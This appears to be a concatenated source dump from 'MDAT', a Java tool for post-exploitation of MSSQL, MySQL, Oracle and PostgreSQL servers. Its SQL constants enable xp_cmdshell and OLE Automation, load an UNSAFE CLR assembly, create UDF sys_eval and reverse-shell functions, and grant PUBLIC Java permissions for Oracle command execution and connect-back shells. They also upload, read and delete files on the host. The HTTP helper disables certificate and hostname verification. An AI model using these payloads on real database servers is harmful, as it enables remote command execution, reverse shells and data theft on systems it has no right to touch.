window.setOnCloseRequest((event) -> { 61 | window.hide(); 62 | }); 63 | alert.setTitle("Multiple Database Utilization Tools 提示"); 64 | alert.setHeaderText(""); 65 | alert.setContentText(msg); 66 | alert.showAndWait(); 67 | } 68 | 69 | /** 70 | * 信息美化输出 71 | * @param msg 提示内容 72 | */ 73 | public static void showInfoMessage(String msg) { 74 | Alert alert = new Alert(Alert.AlertType.INFORMATION); 75 | Window window = alert.getDialogPane().getScene().getWindow(); 76 | window.setOnCloseRequest((event) -> { 77 | window.hide(); 78 | }); 79 | alert.setTitle("Multiple Database Utilization Tools 提示"); 80 | alert.setHeaderText(""); 81 | alert.setContentText(msg); 82 | alert.showAndWait(); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/MssqlSqlUtil.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | 4 | /** 5 | * @author ch1ng 6 | * @date 2022/4/11 7 | */ 8 | public class MssqlSqlUtil { 9 | public static String checkSql = "select '%s'"; 10 | public static String activationXPCMDSql = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC " + 11 | "sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; 12 | public static String activationOAPSql = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;"; 13 | public static String XPCMDSql = "exec master..xp_cmdshell N'%s'"; 14 | public static String getPathSql = "declare @path varchar(8000);\n" + 15 | "select @path=rtrim(reverse(filename)) from master..sysfiles where name='master';\n" + 16 | "select @path=reverse(substring(@path,charindex('\\',@path),8000));\n" + 17 | "select @path;"; 18 | 19 | public static String getPathSqlHttp ="select reverse(substring(rtrim(reverse(filename)),charindex('\\',rtrim" + 20 | "(reverse(filename))),8000)) from master..sysfiles where name='master';"; 21 | public static String runcmdOAPBULKSql = "declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\\Windows\\System32\\cmd.exe /c %s > %s'"; 22 | public static String deleteOashellResultSql = "if OBJECT_ID(N'oashellresult',N'U') is not null\n" + 23 | "\tDROP TABLE oashellresult;"; 24 | public static String getResFromTableSql ="create table oashellresult(res varchar(8000));WAITFOR DELAY '0:0:%s';bulk insert oashellresult from '%s';"; 25 | public static String getOaShellResultSql = "SELECT * FROM oashellresult;"; 26 | public static String runcmdOAPCOMSql = "declare @luan int,@exec int,@text int,@str varchar(8000);\n" + 27 | "exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;\n" + 28 | "exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c %s';\n" + 29 | "exec sp_oamethod @exec, 'StdOut', @text out;\n" + 30 | "exec sp_oamethod @text, 'readall', @str out\n" + 31 | "select @str;"; 32 | public static String runcmdAgentSql = "IF OBJECT_ID(N'{jobname}') is not null\n" + 33 | "\tEXEC sp_delete_job @job_name = N'{jobname}';\n" + 34 | "USE msdb;\n" + 35 | "EXEC dbo.sp_add_job @job_name = N'{jobname}';\n" + 36 | "EXEC sp_add_jobstep @job_name = N'{jobname}', @step_name = N'{jobname}', @subsystem = N'CMDEXEC', @command = N'%s', @retry_attempts = 1, @retry_interval = 5;\n" + 37 | "EXEC dbo.sp_add_jobserver @job_name = N'{jobname}';\n" + 38 | "EXEC dbo.sp_start_job N'{jobname}';"; 39 | public static String versionSql = "select @@version"; 40 | public static String isAdminSql = "select is_srvrolemember('sysadmin') as res;"; 41 | public static String closeXPCMDSql = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;"; 42 | public static String closeOapSql = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;"; 43 | public static String closeCLRSql = "if (exists (select * from dbo.sysobjects where name = 'kitmain'))drop proc kitmain;\n" + 44 | "if (exists (select * from sys.assemblies where name='MDATKit'))drop assembly MDATKit;\n"; 45 | public static String activationCLRSql = "exec sp_configure 'show advanced options','1';reconfigure;exec sp_configure 'clr enabled','1';reconfigure;exec sp_configure 'show advanced options','1';"; 46 | public static String setTrustworthySql = "alter database %s set trustworthy %s"; 47 | public static String CreateAssemblySql = "CREATE ASSEMBLY [MDATKit]\n" + 48 | "AUTHORIZATION [dbo]\n" + 49 | "FROM 0x%s\n" + 50 | "WITH PERMISSION_SET = UNSAFE;\n"; 51 | public static String checkCLRSql = "if (exists (select * from dbo.sysobjects where name = 'kitmain')) select '1' as res;"; 52 | public static String createCLRFSql = "CREATE PROCEDURE [dbo].[kitmain]\n" + 53 | "@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX) \n" + 54 | "AS EXTERNAL NAME [MDATKit].[StoredProcedures].[kitmain]"; 55 | public static String cmdSql = "exec kitmain 'cmdexec',N'%s'"; 56 | public static String superCmdSql = "exec kitmain 'supercmdexec',N'%s'"; 57 | //public static String getSystemPasswordSql = "exec kitmain 'wdigest',N''"; 58 | public static String normalUploadSql = "DECLARE @Obj INT;\n" + 59 | "EXEC sp_OACreate 'ADODB.Stream' ,@Obj OUTPUT;\n" + 60 | "EXEC sp_OASetProperty @Obj ,'Type',1;\n" + 61 | "EXEC sp_OAMethod @Obj,'Open';\n" + 62 | "EXEC sp_OAMethod @Obj,'Write', NULL, %s;\n" + 63 | "EXEC sp_OAMethod @Obj,'SaveToFile', NULL, N'%s', 2;\n" + 64 | "EXEC sp_OAMethod @Obj,'Close';\n" + 65 | "EXEC sp_OADestroy @Obj;"; 66 | public static String getDiskSql = "EXEC xp_fixeddrives"; 67 | public static String getFilesSql = "if OBJECT_ID(N'DirectoryTree',N'U') is not null\n" + 68 | " DROP TABLE DirectoryTree;\n" + 69 | "CREATE TABLE DirectoryTree (subdirectory varchar(8000),depth int,isfile bit);\n" + 70 | "INSERT DirectoryTree (subdirectory,depth,isfile) EXEC master.dbo.xp_dirtree N'%s',1,1;"; 71 | public static String getFilesResSql = "SELECT * FROM DirectoryTree"; 72 | public static String normalDownloadSql = "declare @o int, @f int, @t int, @ret int\n" + 73 | "declare @line varchar(8000),@alllines varchar(8000)\n" + 74 | "set @alllines =''\n" + 75 | "exec sp_oacreate 'scripting.filesystemobject', @o out\n" + 76 | "exec sp_oamethod @o, 'opentextfile', @f out, N'%s', 1\n" + 77 | "exec @ret = sp_oamethod @f, 'readline', @line out\n" + 78 | "while (@ret = 0)\n" + 79 | "begin\n" + 80 | "set @alllines += @line + '\n" + 81 | "'\n" + 82 | "exec @ret = sp_oamethod @f, 'readline', @line out\n" + 83 | "end\n" + 84 | "select @alllines as lines"; 85 | public static String normalHttpDownloadSql1 = "declare @o int, @f int, @t int, @ret int\n" + 86 | "declare @line varchar(8000),@alllines varchar(8000)\n" + 87 | "set @alllines =''\n" + 88 | "exec sp_oacreate 'scripting.filesystemobject', @o out\n" + 89 | "exec sp_oamethod @o, 'opentextfile', @f out, N'%s', 1\n" + 90 | "exec @ret = sp_oamethod @f, 'readline', @line out\n" + 91 | "while (@ret = 0)\n" + 92 | "begin\n" + 93 | "set @alllines += @line + '\n" + 94 | "'\n" + 95 | "exec @ret = sp_oamethod @f, 'readline', @line out\n" + 96 | "end\n" + 97 | "if OBJECT_ID(N'TempFile',N'U') is not null\n" + 98 | " DROP TABLE TempFile;\n" + 99 | "CREATE TABLE TempFile (s varchar(8000));\n" + 100 | "INSERT TempFile (s) values (@alllines);"; 101 | public static String normalHttpDownloadSql2 = "select s as line from TempFile"; 102 | public static String normaldeleteSql = "DECLARE @Filehandle int\n" + 103 | "EXEC sp_OACreate 'Scripting.FileSystemObject', @Filehandle OUTPUT\n" + 104 | "EXEC sp_OAMethod @Filehandle, 'DeleteFile', NULL, N'%s'\n" + 105 | "EXEC sp_OADestroy @Filehandle"; 106 | public static String normalmkdirSql = "exec master.sys.xp_create_subdir N'%s'"; 107 | public static String clrmkdirSql = "exec kitmain 'newdir',N'%s'"; 108 | public static String clrdeleteSql = "exec kitmain 'delete',N'%s'"; 109 | public static String clruploadSql = "exec kitmain 'writefile',N'%s^%s'"; 110 | public static String recoveryAllSql = "EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'\n" + 111 | "EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'\n" + 112 | "EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'\n" + 113 | "EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'\n" + 114 | "EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'\n" + 115 | "EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'\n" + 116 | "EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'\n" + 117 | "EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'\n" + 118 | "EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'\n" + 119 | "EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'\n" + 120 | "EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'\n" + 121 | "EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'\n" + 122 | "EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'\n" + 123 | "EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'\n" + 124 | "EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'\n" + 125 | "EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'\n" + 126 | "EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'\n" + 127 | "EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'\n" + 128 | "EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'\n" + 129 | "EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'\n" + 130 | "EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'"; 131 | 132 | } 133 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/MysqlSqlUtil.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | /** 4 | * @author ch1ng 5 | * @date 2021/12/18 6 | */ 7 | public class MysqlSqlUtil { 8 | 9 | public static String pluginDirSql = "select @@plugin_dir as plugin_dir;"; 10 | public static String checkSql = "select \"%s\""; 11 | public static String getInfoSql = "select CONCAT_WS('~',version(), @@version_compile_os, @@version_compile_machine) as udfinfo;"; 12 | public static String udfExportSql = "select %s into dumpfile '%s'"; 13 | public static String createFunctionSql = "create function %s returns string soname '%s';"; 14 | public static String evalSql = "select sys_eval('%s') as s;"; 15 | public static String reverseShellSql = "select backshell('%s','%s') as s;"; 16 | public static String ntfsCreateDirectory = "select '1' into dumpfile '%s::$INDEX_ALLOCATION'"; 17 | public static String cleanSql = "drop function if exists sys_eval;"; 18 | public static String cleanSql2 = "drop function if exists backshell;"; 19 | 20 | } 21 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/OKHttpUtil.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | 4 | import com.ejlchina.okhttps.HTTP; 5 | 6 | import javax.net.ssl.*; 7 | import java.io.UnsupportedEncodingException; 8 | import java.net.Authenticator; 9 | import java.net.InetSocketAddress; 10 | import java.net.PasswordAuthentication; 11 | import java.net.Proxy; 12 | import java.security.KeyManagementException; 13 | import java.security.NoSuchAlgorithmException; 14 | import java.security.SecureRandom; 15 | import java.security.cert.CertificateException; 16 | import java.security.cert.X509Certificate; 17 | import java.util.HashMap; 18 | import java.util.Map; 19 | import java.util.concurrent.TimeUnit; 20 | 21 | import static Util.Utils.randomUserAgent; 22 | 23 | /** 24 | * @author ch1ng 25 | * @date 2021/11/12 26 | */ 27 | public class OKHttpUtil { 28 | 29 | public static X509TrustManager myTrustManager = new X509TrustManager() { 30 | 31 | @Override 32 | public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {} 33 | 34 | @Override 35 | public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {} 36 | 37 | 38 | @Override 39 | public X509Certificate[] getAcceptedIssuers() { 40 | return new X509Certificate[0]; 41 | } 42 | }; 43 | 44 | public static HostnameVerifier myHostnameVerifier = new HostnameVerifier() { 45 | @Override 46 | public boolean verify(String hostname, SSLSession session) { 47 | return true; 48 | } 49 | }; 50 | 51 | public static String getCodeWithPost(String url, Map params) throws Exception { 52 | return getCodeWithPost(url,30,null,params,null); 53 | } 54 | 55 | /** 56 | * 通过 POST 请求状态码 57 | * @param url 58 | * @return 59 | */ 60 | public static String getCodeWithPost(String url, int timeout, Map headers, 61 | Map params,Map currentProxy) throws Exception { 62 | String result = null; 63 | HTTP http = null; 64 | Proxy proxy = null; 65 | try { 66 | SSLContext sslCtx = SSLContext.getInstance("TLS"); 67 | sslCtx.init(null, new TrustManager[] { myTrustManager }, new SecureRandom()); 68 | SSLSocketFactory mySSLSocketFactory = sslCtx.getSocketFactory(); 69 | if(currentProxy != null){ 70 | proxy = (Proxy) currentProxy.get("proxy"); 71 | if(currentProxy.get("username") !=null && !currentProxy.get("username").equals("")){ 72 | String proxyUser = (String) currentProxy.get("username"); 73 | String proxyPassword = (String) currentProxy.get("password"); 74 | Authenticator.setDefault(new Authenticator(){ 75 | public PasswordAuthentication getPasswordAuthentication() { 76 | return new PasswordAuthentication(proxyUser, proxyPassword.toCharArray()); 77 | } 78 | }); 79 | } 80 | } 81 | Proxy finalProxy = proxy; 82 | http = HTTP.builder().config(builder -> { 83 | builder.sslSocketFactory(mySSLSocketFactory,myTrustManager); 84 | builder.hostnameVerifier(myHostnameVerifier); 85 | builder.connectTimeout(timeout, TimeUnit.SECONDS); 86 | builder.writeTimeout(timeout, TimeUnit.SECONDS); 87 | builder.readTimeout(timeout, TimeUnit.SECONDS); 88 | builder.proxy(finalProxy); 89 | }).build(); 90 | int statusCode = http.sync(url).addHeader(headers).addBodyPara(params).post().getStatus(); 91 | result = "" + statusCode; 92 | }finally { 93 | http.cancelAll(); 94 | } 95 | return result; 96 | } 97 | 98 | /** 99 | * 通过 Get 请求状态码 100 | * @param url 101 | * @return 102 | */ 103 | public static String getCodeWithGet(String url, int timeout, Map headers,Map currentProxy) { 104 | String result = null; 105 | HTTP http = null; 106 | Proxy proxy = null; 107 | try { 108 | SSLContext sslCtx = SSLContext.getInstance("TLS"); 109 | sslCtx.init(null, new TrustManager[] { myTrustManager }, new SecureRandom()); 110 | SSLSocketFactory mySSLSocketFactory = sslCtx.getSocketFactory(); 111 | if(currentProxy != null){ 112 | proxy = (Proxy) currentProxy.get("proxy"); 113 | if(currentProxy.get("username") !=null && !currentProxy.get("username").equals("")){ 114 | String proxyUser = (String) currentProxy.get("username"); 115 | String proxyPassword = (String) currentProxy.get("password"); 116 | Authenticator.setDefault(new Authenticator(){ 117 | public PasswordAuthentication getPasswordAuthentication() { 118 | return new PasswordAuthentication(proxyUser, proxyPassword.toCharArray()); 119 | } 120 | }); 121 | } 122 | } 123 | Proxy finalProxy = proxy; 124 | http = HTTP.builder().config(builder -> { 125 | builder.sslSocketFactory(mySSLSocketFactory,myTrustManager); 126 | builder.hostnameVerifier(myHostnameVerifier); 127 | builder.connectTimeout(timeout, TimeUnit.SECONDS); 128 | builder.writeTimeout(timeout, TimeUnit.SECONDS); 129 | builder.readTimeout(timeout, TimeUnit.SECONDS); 130 | builder.proxy(finalProxy); 131 | }).build(); 132 | 133 | //随机 UA 头 134 | if(!headers.containsKey("User-Agent")){ 135 | headers.put("User-Agent",randomUserAgent()); 136 | } 137 | int statusCode = http.sync(url).addHeader(headers).get().getStatus(); 138 | result = "" + statusCode; 139 | } catch (KeyManagementException e) { 140 | result = e.toString(); 141 | } catch (NoSuchAlgorithmException e) { 142 | result = e.toString(); 143 | } catch (Exception e){ 144 | result = e.toString(); 145 | }finally { 146 | http.cancelAll(); 147 | } 148 | return result; 149 | } 150 | 151 | /** 152 | * 通过 Get 请求获取返回内容 153 | * @param url 154 | * @return 155 | */ 156 | public static String getBodyWithGet(String url, int timeout, Map headers,String coding, Map currentProxy) { 157 | String result = null; 158 | HTTP http = null; 159 | Proxy proxy = null; 160 | try { 161 | SSLContext sslCtx = SSLContext.getInstance("TLS"); 162 | sslCtx.init(null, new TrustManager[] { myTrustManager }, new SecureRandom()); 163 | SSLSocketFactory mySSLSocketFactory = sslCtx.getSocketFactory(); 164 | if(currentProxy != null){ 165 | proxy = (Proxy) currentProxy.get("proxy"); 166 | if(currentProxy.get("username") !=null && !currentProxy.get("username").equals("")){ 167 | String proxyUser = (String) currentProxy.get("username"); 168 | String proxyPassword = (String) currentProxy.get("password"); 169 | Authenticator.setDefault(new Authenticator(){ 170 | public PasswordAuthentication getPasswordAuthentication() { 171 | return new PasswordAuthentication(proxyUser, proxyPassword.toCharArray()); 172 | } 173 | }); 174 | } 175 | } 176 | Proxy finalProxy = proxy; 177 | http = HTTP.builder().config(builder -> { 178 | builder.sslSocketFactory(mySSLSocketFactory,myTrustManager); 179 | builder.hostnameVerifier(myHostnameVerifier); 180 | builder.connectTimeout(timeout, TimeUnit.SECONDS); 181 | builder.writeTimeout(timeout, TimeUnit.SECONDS); 182 | builder.readTimeout(timeout, TimeUnit.SECONDS); 183 | builder.proxy(finalProxy); 184 | }).build(); 185 | //随机 UA 头 186 | if(!headers.containsKey("User-Agent")){ 187 | headers.put("User-Agent",randomUserAgent()); 188 | } 189 | byte[] resultByte = http.sync(url).addHeader(headers).get().getBody().toBytes(); 190 | result = new String(resultByte,coding); 191 | } catch (UnsupportedEncodingException e) { 192 | result = e.toString(); 193 | } catch (KeyManagementException e) { 194 | result = e.toString(); 195 | } catch (NoSuchAlgorithmException e) { 196 | result = e.toString(); 197 | } catch (Exception e){ 198 | result = e.toString(); 199 | }finally { 200 | http.cancelAll(); 201 | } 202 | return result; 203 | } 204 | 205 | /** 206 | * 通过 Post 请求获取返回内容 207 | * @param url 208 | * @param params 提交的参数为key=value&key1=value1的形式 209 | */ 210 | public static String getBodyWithPost(String url, Map params,Map headers, 211 | int timeout, String coding,Map currentProxy) { 212 | String result = null; 213 | HTTP http = null; 214 | Proxy proxy = null; 215 | try { 216 | SSLContext sslCtx = SSLContext.getInstance("TLS"); 217 | sslCtx.init(null, new TrustManager[] { myTrustManager }, new SecureRandom()); 218 | SSLSocketFactory mySSLSocketFactory = sslCtx.getSocketFactory(); 219 | if(currentProxy != null){ 220 | proxy = (Proxy) currentProxy.get("proxy"); 221 | if(currentProxy.get("username") !=null && !currentProxy.get("username").equals("")){ 222 | String proxyUser = (String) currentProxy.get("username"); 223 | String proxyPassword = (String) currentProxy.get("password"); 224 | Authenticator.setDefault(new Authenticator(){ 225 | public PasswordAuthentication getPasswordAuthentication() { 226 | return new PasswordAuthentication(proxyUser, proxyPassword.toCharArray()); 227 | } 228 | }); 229 | } 230 | } 231 | Proxy finalProxy = proxy; 232 | http = HTTP.builder().config(builder -> { 233 | builder.sslSocketFactory(mySSLSocketFactory,myTrustManager); 234 | builder.hostnameVerifier(myHostnameVerifier); 235 | builder.connectTimeout(timeout, TimeUnit.SECONDS); 236 | builder.writeTimeout(timeout, TimeUnit.SECONDS); 237 | builder.readTimeout(timeout, TimeUnit.SECONDS); 238 | builder.proxy(finalProxy); 239 | }).build(); 240 | //随机 UA 头 241 | if(!headers.containsKey("User-Agent")){ 242 | headers.put("User-Agent",randomUserAgent()); 243 | } 244 | byte[] resultByte = http.sync(url).addHeader(headers).addBodyPara(params).post().getBody().toBytes(); 245 | //http.sync(url).get().getBody().toFile("").start(); 246 | //byte[] resultByte = http.sync(url).addHeader(headers).get().getBody().toBytes(); 247 | result = new String(resultByte,coding); 248 | } catch (UnsupportedEncodingException e) { 249 | result = e.toString(); 250 | } catch (KeyManagementException e) { 251 | result = e.toString(); 252 | } catch (NoSuchAlgorithmException e) { 253 | result = e.toString(); 254 | } catch (Exception e){ 255 | result = e.toString(); 256 | }finally { 257 | http.cancelAll(); 258 | } 259 | return result; 260 | } 261 | 262 | 263 | //public static String getCodeWithGet(String url) { 264 | // return getCodeWithGet(url, 30, null,"UTF-8",null); 265 | //} 266 | // 267 | //public static String getBodyWithGet(String url) { 268 | // return getBodyWithGet(url, 30, null,"UTF-8",null); 269 | //} 270 | // 271 | //public static String getBodyWithPost(String url,Map params){ 272 | // return getBodyWithPost(url,params,null,30,"UTF-8",null); 273 | //} 274 | 275 | public static void main(String[] args) throws NoSuchAlgorithmException, KeyManagementException { 276 | Map headers = new HashMap<>(); 277 | Map params = new HashMap<>(); 278 | Map currentProxy = new HashMap(); 279 | Proxy proxy; 280 | String ip = "127.0.0.1"; 281 | int port = 8080; 282 | params.put("key1","demo"); 283 | params.put("key2","demo2"); 284 | InetSocketAddress proxyAddr = new InetSocketAddress(ip,port); 285 | proxy = new Proxy(Proxy.Type.HTTP, proxyAddr); 286 | currentProxy.put("proxy", proxy); 287 | 288 | 289 | 290 | //String res = OKHttpUtil.getBodyWithGet("http://10.211.55.19:8080/1.jsp",30,null,"UTF-8",null); 291 | //System.out.println(base64Decode(new String(xorWithKey(base64Decode(res,"UTF-8").getBytes(StandardCharsets 292 | // .UTF_8),"key".getBytes(StandardCharsets.UTF_8))),"UTF-8")); 293 | //System.out.println(OKHttpUtil.getBodyWithPost("http://10.211.55.10/1.asp",params,headers,30,"UTF-8",currentProxy)); 294 | 295 | } 296 | } -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/OracleSqlUtil.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | public class OracleSqlUtil { 4 | public static String getVersionSql = "select banner from v$version"; 5 | public static String checkSql = "select '%s' from dual"; 6 | public static String isDBASql = "select userenv('ISDBA') from dual"; 7 | public static String CREATE_JOBSql = "BEGIN DBMS_SCHEDULER.create_job(job_name=>'%s',job_type=>'EXECUTABLE',number_of_arguments=>%s,job_action =>'%s');END;"; 8 | public static String SET_JOB_ARGUMENT_VALUESql = "BEGIN DBMS_SCHEDULER.set_job_argument_value('%s',%s,'%s');END;"; 9 | public static String ENABLESql = "BEGIN DBMS_SCHEDULER.enable('%s');END;"; 10 | public static String checkJobSql = "select job_name from dba_scheduler_jobs where job_name='%s'"; 11 | public static String deleteJobSql = "begin DBMS_SCHEDULER.drop_job('\"%s\"', %s, %s);end;"; 12 | public static String getJobStatusSql = "SELECT status, additional_info FROM USER_SCHEDULER_JOB_RUN_DETAILS WHERE " + 13 | "job_name = '%s'"; 14 | public static String ShellUtilCREATE_SOURCESql = "DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named \"ShellUtil\" as %s';EXECUTE IMMEDIATE v_command;END;"; 15 | public static String ShellUtilGRANT_JAVA_EXECSql = "begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<>', 'read,write,execute,delete' );end;"; 16 | public static String ShellUtilGRANT_JAVA_EXEC2Sql = "begin dbms_java.grant_permission('PUBLIC','SYS:java.lang.RuntimePermission', '*', '');end;"; 17 | public static String ShellUtilGRANT_JAVA_EXEC3Sql = "begin dbms_java.grant_permission('PUBLIC','SYS:java.net.SocketPermission', '*', 'accept, connect, listen, resolve');end;"; 18 | public static String ShellUtilCREATE_FUNCTIONSql = "create or replace function shellrun(methodName varchar2,params varchar2,encoding varchar2) return varchar2 as language java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';"; 19 | public static String FileUtilCREATE_SOURCESql = "DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named \"FileUtil\" as %s';EXECUTE IMMEDIATE v_command;END;"; 20 | public static String FileUtilGRANT_JAVA_EXECSql = "begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<>', 'read,write,execute,delete' );end;"; 21 | public static String FileUtilGRANT_JAVA_EXEC1Sql = "begin dbms_java.grant_permission('PUBLIC', 'SYS:java.util.PropertyPermission', '*', 'read,write' );end;"; 22 | public static String FileUtilCREATE_FUNCTIONSql = "create or replace function filerun(methodName varchar2,params varchar2,encoding" + 23 | " varchar2) return varchar2 as language java name 'FileUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';"; 24 | public static String shellRunSql = "select shellrun('exec','%s','%s') from dual"; 25 | public static String checkShellFunctionSql = "select object_name from all_objects where object_name like '%SHELLRUN'"; 26 | public static String deleteShellJAVASOURCESql = "DROP JAVA SOURCE \"ShellUtil\""; 27 | public static String deleteShellFunctionSql = "drop function SHELLRUN"; 28 | public static String checkFileFunctionSql = "select object_name from all_objects where object_name like '%FILERUN'"; 29 | public static String deleteFileJAVASOURCESql = "DROP JAVA SOURCE \"FileUtil\""; 30 | public static String deleteFileFunctionSql = "drop function FILERUN"; 31 | public static String checkReverseJavaShellSql = "select object_name from all_objects where object_name like '%SHELLRUN%' "; 32 | public static String reverseJavaShellSql = "select shellrun('connectback','%s^%s','') from dual"; 33 | public static String getDiskSql = "select filerun('listdiver','','') from dual"; 34 | public static String getFilesSql = "select filerun('listfile','%s','%s') from dual"; 35 | public static String uploadSql = "select filerun('writefile','%s^%s','') from dual"; 36 | public static String downloadSql = "select filerun('readfile','%s','') from dual"; 37 | public static String deleteSql = "select filerun('deletefile','%s','') from dual"; 38 | 39 | 40 | } 41 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/PostgreSqlUtil.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | /** 4 | * @author ch1ng 5 | * @date 2022/4/10 6 | */ 7 | public class PostgreSqlUtil { 8 | 9 | public static String checkSql = "select '%s'"; 10 | public static String versionInfoSql = "SELECT version() as v;"; 11 | public static String serverVersionInfoSql = "SHOW server_version"; 12 | public static String libSql = "CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ''%s'', ''system'' LANGUAGE ''c'' STRICT;"; 13 | public static String injectSql = "INSERT INTO pg_largeobject VALUES (%d, %d, decode('%s', 'hex'));"; 14 | public static String locreateSql = "SELECT lo_create(%s);"; 15 | public static String loexportSql = "SELECT lo_export(%s,'%s');"; 16 | public static String createSql = "CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '%s', 'sys_eval' " + 17 | "LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;"; 18 | public static String lounlinkSql = "SELECT lo_unlink (%s);"; 19 | public static String createTempTableSql = "CREATE TABLE sectest111(t TEXT);"; 20 | public static String redirectSql = "select system('%s > %s') as s;"; 21 | public static String copySql = "COPY sectest111 FROM '%s';"; 22 | public static String selectTempTableSql = "SELECT * FROM sectest111;"; 23 | public static String dropTempTableSql = "drop table sectest111;"; 24 | public static String evalSql = "select sys_eval('%s');"; 25 | public static String dropCmdtableSql = "DROP TABLE IF EXISTS cmd_exec;"; 26 | public static String createCmdtableSql = "CREATE TABLE cmd_exec(cmd_output text);"; 27 | public static String runCmdSql = "COPY cmd_exec FROM PROGRAM '%s';"; 28 | public static String selectCmdResSql = "SELECT * FROM cmd_exec;"; 29 | public static String dropEvalSql = "drop function sys_eval(text);"; 30 | 31 | } 32 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/YamlConfigs.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | import org.yaml.snakeyaml.DumperOptions; 4 | import org.yaml.snakeyaml.Yaml; 5 | 6 | import java.io.File; 7 | import java.io.FileInputStream; 8 | import java.io.FileWriter; 9 | import java.io.IOException; 10 | import java.util.*; 11 | 12 | 13 | /** 14 | * @author ch1ng 15 | */ 16 | public class YamlConfigs { 17 | 18 | private final static DumperOptions OPTIONS = new DumperOptions(); 19 | 20 | static{ 21 | //设置yaml读取方式为块读取 22 | OPTIONS.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK); 23 | OPTIONS.setDefaultScalarStyle(DumperOptions.ScalarStyle.PLAIN); 24 | OPTIONS.setPrettyFlow(false); 25 | } 26 | 27 | /** 28 | * 将yaml配置文件转化成map 29 | * fileName 默认是resources目录下的yaml文件, 如果yaml文件在resources子目录下,需要加上子目录 比如:conf/config.yaml 30 | * @param fileName 31 | * @return 32 | */ 33 | public Map getYamlToMap(String fileName){ 34 | LinkedHashMap yamls = new LinkedHashMap<>(); 35 | Yaml yaml = new Yaml(); 36 | try { 37 | String path = Utils.getSelfPath() + File.separator + fileName; 38 | FileInputStream fis = new FileInputStream(path); 39 | //InputStream in = YamlConfigs.class.getClassLoader().getResourceAsStream(fileName); 40 | yamls = yaml.loadAs(fis,LinkedHashMap.class); 41 | }catch (Exception e){ 42 | } 43 | return yamls; 44 | } 45 | 46 | /** 47 | * key格式:aaa.bbb.ccc 48 | * 通过properties的方式获取yaml中的属性值 49 | * @param key 50 | * @param yamlMap 51 | * @return 52 | */ 53 | public Object getValue(String key, Map yamlMap){ 54 | String[] keys = key.split("[.]"); 55 | Object o = yamlMap.get(keys[0]); 56 | if(key.contains(".")){ 57 | if(o instanceof Map){ 58 | return getValue(key.substring(key.indexOf(".")+1),(Map)o); 59 | }else { 60 | return null; 61 | } 62 | }else { 63 | return o; 64 | } 65 | } 66 | 67 | /** 68 | * 使用递归的方式设置map中的值,仅适合单一属性 69 | * key的格式: "server.port" 70 | * server.port=111 71 | * 72 | **/ 73 | public Map setValue(String key,Object value) { 74 | Map result = new LinkedHashMap<>(); 75 | String[] keys = key.split("[.]"); 76 | int i = keys.length - 1; 77 | result.put(keys[i], value); 78 | if (i > 0) { 79 | return 